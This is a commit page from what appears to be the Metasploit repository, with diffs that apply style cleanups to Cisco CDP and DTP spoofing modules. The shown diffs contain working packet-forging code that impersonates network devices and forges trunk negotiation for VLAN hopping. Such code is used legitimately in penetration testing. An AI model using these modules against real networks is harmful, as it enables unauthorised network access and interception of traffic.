Skip to content

Commit 5d4aca6

Browse files
authored
Merge pull request #20145 from bcoles/rubocop-modules-auxiliary-spoof
modules/auxiliary/spoof: Resolve RuboCop violations
2 parents 2da6eb8 + f53fb9e commit 5d4aca6

File tree

11 files changed

+990
-959
lines changed

11 files changed

+990
-959
lines changed

modules/auxiliary/spoof/arp/arp_poisoning.rb

Lines changed: 196 additions & 195 deletions
Large diffs are not rendered by default.

modules/auxiliary/spoof/cisco/cdp.rb

Lines changed: 37 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -7,47 +7,53 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Capture
88

99
def initialize
10-
1110
super(
12-
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
11+
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
1312
'Description' => %q{
1413
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
1514
to the CDP packets broadcast from this module will need to be analyzed with an
1615
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
1716
about the Cisco switch and router environment.
1817
},
19-
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
20-
'License' => MSF_LICENSE,
21-
'References' => [
18+
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
19+
'License' => MSF_LICENSE,
20+
'References' => [
2221
[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
2322
],
24-
'Actions' => [
23+
'Actions' => [
2524
['Spoof', { 'Description' => 'Sends CDP packets' }]
2625
],
27-
'DefaultAction' => 'Spoof'
26+
'DefaultAction' => 'Spoof',
27+
'Notes' => {
28+
'Stability' => [OS_RESOURCE_LOSS],
29+
'SideEffects' => [IOC_IN_LOGS],
30+
'Reliability' => []
31+
}
2832
)
2933

3034
register_options(
3135
[
32-
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
33-
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
34-
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
35-
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
36+
OptString.new('SMAC', [false, 'MAC address for MAC spoofing']),
37+
OptString.new('VTPDOMAIN', [false, 'VTP Domain']),
38+
OptString.new('DEVICE_ID', [true, 'Device ID (e.g. SIP00070EEA3156)', 'SEP00070EEA3156']),
39+
OptString.new('PORT', [true, "The CDP 'sent through interface' value", 'Port 1']),
3640
# XXX: this is not currently implemented
37-
#OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
38-
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
39-
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
41+
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
42+
OptString.new('PLATFORM', [true, 'Platform of the device', 'Cisco IP Phone 7975']),
43+
OptString.new('SOFTWARE', [true, 'Software of the device', 'SCCP75.9-3-1SR2-1S']),
4044
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
41-
])
45+
]
46+
)
4247

4348
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
4449
end
4550

4651
def setup
4752
check_pcaprub_loaded
4853
unless smac
49-
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
54+
raise ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
5055
end
56+
5157
open_pcap
5258
close_pcap
5359
end
@@ -61,19 +67,17 @@ def smac
6167
end
6268

6369
def run
64-
begin
65-
open_pcap
66-
67-
@run = true
68-
cdp_packet = build_cdp
69-
print_status("Sending CDP messages on #{interface}")
70-
while @run
71-
capture.inject(cdp_packet)
72-
Rex.sleep(60)
73-
end
74-
ensure
75-
close_pcap
70+
open_pcap
71+
72+
@run = true
73+
cdp_packet = build_cdp
74+
print_status("Sending CDP messages on #{interface}")
75+
while @run
76+
capture.inject(cdp_packet)
77+
Rex.sleep(60)
7678
end
79+
ensure
80+
close_pcap
7781
end
7882

7983
def build_cdp
@@ -106,7 +110,7 @@ def build_cdp
106110
# VTP management domain
107111
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
108112
# random 1000-7000 power consumption in mW
109-
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
113+
cdp << tlv(0x10, [rand(1000..6999)].pack('n'))
110114
# duplex
111115
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
112116
# VLAn query. TODO: figure out this field, use tlv, make configurable
@@ -117,7 +121,7 @@ def build_cdp
117121

118122
# Build and return the final packet, which is 802.3 + LLC + CDP.
119123
# 802.3
120-
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
124+
PacketFu::EthHeader.mac2str('01:00:0C:CC:CC:CC') +
121125
PacketFu::EthHeader.mac2str(smac) +
122126
[cdp.length + 8].pack('n') +
123127
# LLC
@@ -126,8 +130,8 @@ def build_cdp
126130
cdp
127131
end
128132

129-
def tlv(t, v)
130-
[ t, v.length + 4 ].pack("nn") + v
133+
def tlv(type, value)
134+
[ type, value.length + 4 ].pack('nn') + value
131135
end
132136

133137
def compute_cdp_checksum(cdp)
@@ -143,6 +147,6 @@ def compute_cdp_checksum(cdp)
143147
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
144148
checksum = (checksum >> 16) + (checksum & 0xffff)
145149
checksum = ~((checksum >> 16) + checksum) & 0xffff
146-
([checksum].pack("S*")).unpack("n*")[0]
150+
[checksum].pack('S*').unpack('n*')[0]
147151
end
148152
end

modules/auxiliary/spoof/cisco/dtp.rb

Lines changed: 40 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -6,25 +6,30 @@
66
class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::Capture
88

9-
def initialize(info = {})
9+
def initialize(_info = {})
1010
super(
11-
'Name' => 'Forge Cisco DTP Packets',
11+
'Name' => 'Forge Cisco DTP Packets',
1212
'Description' => %q{
1313
This module forges DTP packets to initialize a trunk port.
1414
},
15-
'Author' => [ 'Spencer McIntyre' ],
16-
'License' => MSF_LICENSE,
17-
'Actions' =>
18-
[
19-
[ 'Service', 'Description' => 'Run DTP forging service' ]
20-
],
15+
'Author' => [ 'Spencer McIntyre' ],
16+
'License' => MSF_LICENSE,
17+
'Actions' => [
18+
[ 'Service', { 'Description' => 'Run DTP forging service' } ]
19+
],
2120
'PassiveActions' => [ 'Service' ],
22-
'DefaultAction' => 'Service'
21+
'DefaultAction' => 'Service',
22+
'Notes' => {
23+
'Stability' => [OS_RESOURCE_LOSS],
24+
'SideEffects' => [IOC_IN_LOGS],
25+
'Reliability' => []
26+
}
2327
)
2428
register_options(
2529
[
26-
OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),
27-
])
30+
OptString.new('SMAC', [false, 'The spoofed mac (if unset, derived from netifaces)']),
31+
]
32+
)
2833
deregister_options('RHOST', 'PCAPFILE')
2934
end
3035

@@ -40,11 +45,11 @@ def build_dtp_frame
4045
p.eth_daddr = '01:00:0c:cc:cc:cc'
4146
p.eth_saddr = smac
4247
llc_hdr = "\xaa\xaa\x03\x00\x00\x0c\x20\x04"
43-
dtp_hdr = "\x01" # version
44-
dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain
48+
dtp_hdr = "\x01" # version
49+
dtp_hdr << "\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00" # domain
4550
dtp_hdr << "\x00\x02\x00\x05\x03" # status
4651
dtp_hdr << "\x00\x03\x00\x05\x45" # dtp type
47-
dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor
52+
dtp_hdr << "\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac) # neighbor
4853
p.eth_proto = llc_hdr.length + dtp_hdr.length
4954
p.payload = llc_hdr << dtp_hdr
5055
p
@@ -61,23 +66,27 @@ def smac
6166
end
6267

6368
def run
64-
unless smac()
65-
print_error 'Source MAC (SMAC) should be defined'
66-
else
67-
unless is_mac? smac
68-
print_error "Source MAC (SMAC) `#{smac}' is badly formatted."
69-
else
70-
print_status "Starting DTP spoofing service..."
71-
open_pcap({'FILTER' => "ether host 01:00:0c:cc:cc:cc"})
72-
interface = datastore['INTERFACE'] || Pcap.lookupdev
73-
dtp = build_dtp_frame()
74-
@run = true
75-
while @run
76-
capture.inject(dtp.to_s)
77-
select(nil, nil, nil, 60)
78-
end
79-
close_pcap
80-
end
69+
unless smac
70+
print_error('Source MAC (SMAC) should be defined')
71+
return
72+
end
73+
74+
unless is_mac?(smac)
75+
print_error("Source MAC (SMAC) `#{smac}' is badly formatted.")
76+
return
8177
end
78+
79+
print_status 'Starting DTP spoofing service...'
80+
open_pcap({ 'FILTER' => 'ether host 01:00:0c:cc:cc:cc' })
81+
datastore['INTERFACE'] || Pcap.lookupdev
82+
dtp = build_dtp_frame
83+
@run = true
84+
85+
while @run
86+
capture.inject(dtp.to_s)
87+
select(nil, nil, nil, 60)
88+
end
89+
90+
close_pcap
8291
end
8392
end

0 commit comments

Comments
 (0)